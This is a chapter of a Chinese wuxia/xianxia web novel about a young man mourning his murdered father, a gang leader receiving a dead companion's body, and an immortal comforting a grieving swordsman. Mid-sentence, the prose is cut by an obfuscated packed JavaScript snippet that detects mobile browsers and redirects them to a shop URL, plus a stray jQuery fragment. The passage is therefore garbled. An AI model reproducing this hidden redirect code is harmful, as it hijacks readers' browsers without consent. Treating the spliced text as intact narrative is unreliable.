11. 第 11 章
作品:《契约神》 连续下了几天的雪,江宅里处处积雪深厚,屋檐上的雪层层叠叠,看起来沉甸甸的,似要将瓦片压垮。
一条白色丧幡在风中飞舞,飘摇不定,不多时便被白雪浸湿,愈发沉重无力。
厅内摆放着一具灵柩,灵柩前设了供桌,桌上放了白色蜡烛和香案,正中间是一个木制的牌位,上写:先考江公讳风山府君生西之莲位。
江远倾身穿孝服跪在地上,将纸钱放进火盆里。纸钱遇火迅速化为灰烬,火星子四处飞舞,只闪了一瞬随即熄灭。
江远倾盯着不断腾空的火星子怔怔出神,父亲被运回镖局的那一幕仍在他的脑海里回荡:
平日里威武严肃的父亲,却静静地躺在狭窄的棺材里,他的脸上还留存着风雨的痕迹,他的身躯依旧健壮。只是,他紧闭双眼,对周围人的痛苦永远无法感知。
江远倾忍住悲痛,小心翼翼地检查了父亲的伤口,他的身上只有两处伤口。
第一处是胸前的箭伤,伤口虽深却未及要害,第二处是脖颈处的刀伤,也是致命伤。
从两处伤口来看,来者凶残果断,功力深厚,且深知父亲武艺高强,于是先远远地射出箭矢,让父亲失去抵挡之力,再一刀毙命。
想到这,江远倾心中顿生狠意,他站起身走到灵堂门口,任凭细雪吹在自己的脸上。
廊下一位丫鬟往江夫人房间的方向快步走去,江远倾立即叫住了她:“曼儿,我有话问你。”
曼儿停下脚步,端着药汤朝江远倾走来:“公子,您有何吩咐?”
“夫人身体可有好转?”江远倾声音嘶哑道。
“吃了几副药,早就醒了,只是醒后什么也不愿吃。”曼儿面露忧色道。
“且先做些清淡的饭菜,晚些时候我去看看母亲。”
“是,公子。”曼儿看了江远倾一眼,却不挪步,眼睛里瞬间有了泪花。
“公子,您可要好好顾着身体,我瞧您整日不休息,脸上憔悴了许多,夫人若是看到了又要伤心了。”
“嗯,我自有分寸,你也是,在夫人面前稳重些。”
“曼儿知道了。”曼儿行了个礼,转身端着汤药朝江夫人房中行去。
曼儿走后,江远倾见江全站在柱子后畏畏缩缩,一副欲言又止的样子,便叫住了他。
“江全,你有话要对我说么?”
江全从柱子后走出来,吞吞吐吐道:“公子,您真的不见巧烟么?我瞧她在后门站了许久,没有要走的意思。这么冷的天,又在下雪……”
“见了她,又有什么好说?”江远倾怅然地望着雪花,陷入沉默。
“公子!江公子!”前院传来一阵急促的呼喊声打断了他们的谈话,江远倾和江全循声望去,一个小厮火急火燎地朝他们跑来,江远倾认出那是外祖母身边的小厮。
“什么事?怎得如此慌张?是外祖母派你来的么?”
那小厮还未开口,便嚎啕大哭起来:“江公子,不好了。老爷子今日上朝时,圣上震怒,说是怀疑镖局里有贼寇同党,要好好排查。老爷子在朝堂上为江总镖头说了几句话,没成想圣上说老爷子也难辞其咎,将他一并下狱,听候发落了。”
江远倾听他哭哭啼啼地说完,顿时心如刀绞,只觉得天昏地暗。他克制住发抖的身子,一把抓住小厮的手臂,急切地问道:“可派人去狱中打点了?外祖母身子可好?”
小厮一边抽泣一边回道:“已派人带了不少银两去打点了,老太太听了这个消息哭了一阵,但好在身子无恙,还派小的前来告知公子。”
“无恙便好,便好……”江远倾深吸一口寒气,却引得胸中一阵痛痒,忍不住咳嗽起来。这一咳竟停不下来,反而愈发剧烈,似喉咙被紧紧勒住,陷入窒息。
江远倾从怀中取出手帕,遮掩口鼻,突然,一口血喷涌而出,浸湿手帕。
江全连同那位小厮不禁惊声道:“血……公子,您这是怎么了?”
江远倾摆摆手,连忙制止住他们:“莫要喧哗,莫要喧哗……”
“公子……”江全望着江远倾苍白的脸,也忍不住抹了眼泪。
“江全,不要告诉夫人,若是夫人知道了,我就将你赶出江家。”
“知道了公子,我去给你请大夫罢……”
“大夫登门,夫人定会知晓,我自有分寸。”江远倾将目光转向外祖母家来的小厮,“你也是,派去打点的人也要小心着,务必将钱用到实处。我的事也不要在外祖母那里声张,外祖母现下急火攻心,你若是告诉她,只会害她。”
“小的知道了公子。”
“还有,在我面前也就罢了,在夫人和外祖母面前不可这样哭哭啼啼。”
那二人听得江远倾这样说,连忙擦去脸上的泪水。
“回去复命时,莫要提夫人晕倒的事,也要多多劝解外祖母。圣上现下正在气头上,要查便查,犯事的是盗匪,与外祖父无关。外祖父在朝中多年,颇有些声望,圣上定不会轻易发落了他。”
“好,小的回去定劝劝老太太。”
“你去罢。”
见小厮离去,江全连忙搀扶江远倾往厢房里去,没想到江远倾站在原地,不愿挪步。
“公子,这里天寒地冻的,您先去歇歇罢。”
“你方才说巧烟站在后门口不愿离去么?”
“公子若不愿见她,小的待会再去劝劝巧烟姑娘。”
“你带我去见她罢。”
江全愣了一瞬,立马反应过来:“好好好,公子随我来。”
二人来到后门,开门的声音将站在门口的巧烟吓了一跳。
“巧烟姑娘,公子来见你了。”江全道。
巧烟看见江远倾,冻得通红的脸上没有一丝笑容,她未理会江全,径直朝江远倾行了个礼。
“江老爷遇此变故,实在令人悲痛。但逝者已矣,生者如斯,还请公子节哀顺变。”
“这些我都知晓,今日远倾有诸多事务需要处理,实在抽不出身,还请姑娘谅解。”
“公子言重,江老爷的丧事定是最要紧的,巧烟明白。”
“你找我,可是你家小姐有事?”
“实不相瞒……”巧烟眼眶发红,语气略有哽咽道:“巧烟是偷偷跑出来的,小姐她实在是挂念公子,可是现下被老爷禁足,多有不便,于是便派奴婢来寻公子,转达她的话。”
“小姐说,公子定要保重身体,莫要伤心过度。江夫人还需公子照顾,镖局也需公子操持。”
“我知道了,你回去转达你家小姐,她的心意,远倾谢过。”说罢,江远倾转身欲走。
“公子。”巧烟连忙喊道,“公子不问问小姐的近况么?”
江远倾缓缓转身,一脸淡然道:“你刚才不是和我说了,你家小姐被禁了足么?”
“公子这句话好绝情,虽说我们家老爷不仁义,但小姐她对你可是情深义重。她为了你与老爷抗衡,才落了个禁足的下场,现下她茶不思饭不想,坐在家里等着奴婢给她传送消息,却得了你这番话。”
江远倾沉默片刻道:“自从家父遇难以来,平日里巴结的人都对我们江家唯恐避之不及。人往高处走,水往低处流,这是再简单不过的道理,远倾怎会不明白?现下我们江家处境艰难,惹怒皇上,得罪宁王,赵伯父不来吊唁,其中苦楚远倾理解。请姑娘回去转告你家小姐,认清眼前形势,莫要忤逆伯父。只当远倾福薄,不能与姑娘共度此生了。”
“公子这话是要彻底断了与我家小姐的情谊么?”
“江家已再无资格与赵家联姻,赵伯父……”江远倾捂住胸口,忍住咳意,继续说道:“赵伯父所做的事也许有他的用意,望你家小姐早些审时度势。”
说罢,江远倾转身决绝离去。江全愣在原地,听着他们的对话一句也插不进去,无奈只能与巧烟道别,跟上江远倾。
门咣当一声关上,巧烟强忍泪水,转身快步离开。
江全连忙跟上江远倾,忍不住道:“这赵家父女性情差异悬殊,一个树倒猢狲散,一个竟还挂念着公子您。赵家老爷不来吊唁,摆明了是想与我们江家撇清关系,可惜赵兰小姐却还不懂得她父亲的意思。”
江远倾放缓脚步,深深地叹了口气:“人情往来,皆是为了利字。面对利益的抉择,谁又能一直保持真心?所谓的缘分,不过是因利而聚,因利而散罢了。”
雪不知何时已渐渐变小,空中飞舞着大小不一的碎片,零零落落,一副萧瑟凄凉的模样。
江全瞥了眼他的脸庞,惨白如雪,毫无生气,顿觉肝肠寸断。内心搜刮了许多安慰人的话,可到了嘴里一句也说不出。
“公子,管他利来利往,老天自有公断。天色不早了,您不是还要去看望夫人么?”
“嗯,走罢。”
阎宅,大夫正在为张安换药。换好外敷的药,又端了内服的汤药喂于张安喝下。
一旁的阎老大皱着眉头坐在凳子上,等大夫忙完才急切问道:“他可好些了?”
“目前来看,倒是稳定了不少,但需好好养一段时日,不然日后会留下病根。”
阎老大若有所思地点了点头。
“对了,周厉独自出去也有几日了,怎得还不回来?阎老大要不要派人找他?”
“他若是寻到了曲玉,自会回来,只怕是活不见人死不见尸,不知要寻到何时。”
“曲玉这么久都没回来,会不会……”大夫瞧着阎老大的神色,未敢继续说下去,只得换了个说法,“若曲玉出了什么问题,依着周厉的脾气,只怕不会善罢甘休,阎老大需早做打算。”
“他虽固执,却重情重义,毕竟是我救了他,量他也不会将气撒在我头上。”
谈话间,传来敲门声,阎老大警觉地望向门口。
“是谁?”
门外的人沉默不语,只敲了几下便未再出声。
阎老大起身走近门口,门外又传来一阵脚步声,随即便听得他飞身离去。
确认外间再无
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14611558|156119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
动静后,阎老大才悄悄打开门缝,只见门口地上放着一封信。
阎老大拾起那封信拆开后,认出那是周厉的字迹,信上写了几行字:
曲玉我已找到,望阎老大将他好生安葬。将曲玉的死因弄清后,我自会回来。若阎老大仍对我心存疑虑,随时可将这条命讨回。
阎老大读完信,连忙推开门,只见院里空荡荡的,而门前雪地上赫然躺着一人,用白布盖着。
屋里的大夫不明所以,走过来也朝院里望去。
“那是……”大夫转头看向阎老大,却只看到一副失魂落魄的模样。见他沉默不语,大夫只好兀自走近查看。
他蹲下身,掀开白布,随即露出惊诧的神情:“阎老大,是曲玉!”
阎老大静默了半晌,才叹了口气道:“我知道,周厉找到他了。”
冬季的湖水沉静深邃,湖面上的冰块犹如一面镜子,反射着天上的云彩。一片云影在冰面上缓缓飘过,突然,一道裂缝将云影大卸八块———湖面上的冰块裂开,露出了冰冷的湖水。
荷玉人坐在湖岸,用法术将湖面上的冰块一一敲碎,随即盘坐静气。
不多时,湖水震动。水滴凝聚,冲出湖面,变幻成一把把水剑,直刺苍穹。可还未飞出多远,便哗啦一声巨响散落在湖面的碎冰上。
“怎么还是不行呢?”荷玉人面露沮丧道。
但她并未泄气,仍平心静气地感受水中的能量。
果然,湖面水流升天,重又凝聚成无数的水剑。在荷玉人的操控下,这些水剑一会向左飞舞,一会向右刺去。在空中停驻片刻后,水剑缓缓上升。
忽然,身后传来踩断枯枝的声音。荷玉人来不及思量,湖面上的水剑顷刻间汇聚成一柄大剑,快速朝荷玉人身后飞去。
“是我!”周厉连忙叫道。
荷玉人看清来者的面容,急忙收住那柄大剑。瞬间,大剑融化成一滩水洒在周厉面前。
“你怎么来了?”荷玉人心有余悸,她还从未用水剑伤过别人,也不知水剑的威力。若是伤了周厉,也不知道该如何疗愈他。
“我伤着你了么?”荷玉人连忙起身走到周厉身边。
“没有。”周厉兀自坐在地上,似乎对刚刚惊险的一刻毫不在乎。
荷玉人注意到了他奇怪的神情,面无表情的面皮下有着难掩的忧伤和无力。
“发生什么事了么?”荷玉人站在他面前低头看着他,“你来找我有什么事?”
周厉似听不见她的焦急询问,自顾自垂首不知在想什么。
“你这样让我有些无措,究竟是怎么了?”
周厉缓缓摘下面具,哽咽道:“送我面具的人,他死了。”
“什么?”
“他的脸上和身上全是数不清的刀伤,血都流尽了……”周厉抬起头,满脸泪水,“为什么老天爷要这样对我,要让我身边的人一个一个死去?难道我真的是养父所说的阴阳脸,会给身边的人带来不详么?”
“你为何要这样想?别人的错与你有什么干系?”荷玉人见他这副痛苦的模样,心中也隐隐作疼。
“为什么他们都要一个个离我而去?而我总是无能无力,救不了他们。”说罢,周厉忍不住抱住荷玉人,失声痛哭。荷玉人不由自主地轻抚他的头,试图安慰。
不知过了多久,周厉的哭声渐弱。荷玉人松开他缠绕的臂膀,双手托住他的脸,语气温柔道:“这不是你的错,你只不过比旁人不同了些。凡人向来都承受着连我都难以想象的苦难,他们的命运怎么能都归咎在你的头上?要怪便怪创造这世间的人罢。”
周厉听了荷玉人的话,心情渐渐缓和。他抬眸盯着荷玉人的面庞,不知怎的,有着难以言表的安心。
荷玉人看他满脸的泪痕,心生怜惜。一双清澈的眼眸泪光涌动,眨眼间,一滴晶莹剔透的泪珠从交织的睫毛间滚出,滑过他的脸颊。
不知怎的,荷玉人顿时感觉心中有些许的动容。她缓缓凑近他的脸庞,两人的呼吸越来越近。她稍弯脖颈,朝那颗悬挂在他下颚边缘摇摇欲坠的泪珠吻去……
似从唇间感受到他的体温,这温热的触感让荷玉人瞬间清醒。
她僵硬地离开他的脸庞,展露在面前的是他惊诧的眼神。他的双眸逐渐圆睁,呼吸也肉眼可见的急促。
“我……我只是想让你心中好受些。”荷玉人连忙解释道。
“我知道,谢谢你……”周厉垂下眼眸,两人都收回目光,不敢与对方有丝毫碰撞。
“那……你接下来打算如何做?要为他复仇么?”
“我想弄清楚到底是谁杀了他,那么多的刀伤,此人心肠歹毒,我定要讨个公道。”
“需要我助你么?”
“你修仙不易,且不能离水太远,更何况这是我的私仇,我要自己解决。”说罢周厉愤然起身。
“我走了。”他握紧腰间的雁翎刀,转身离去。
荷玉人看着他决绝的背影,暗叹了口气。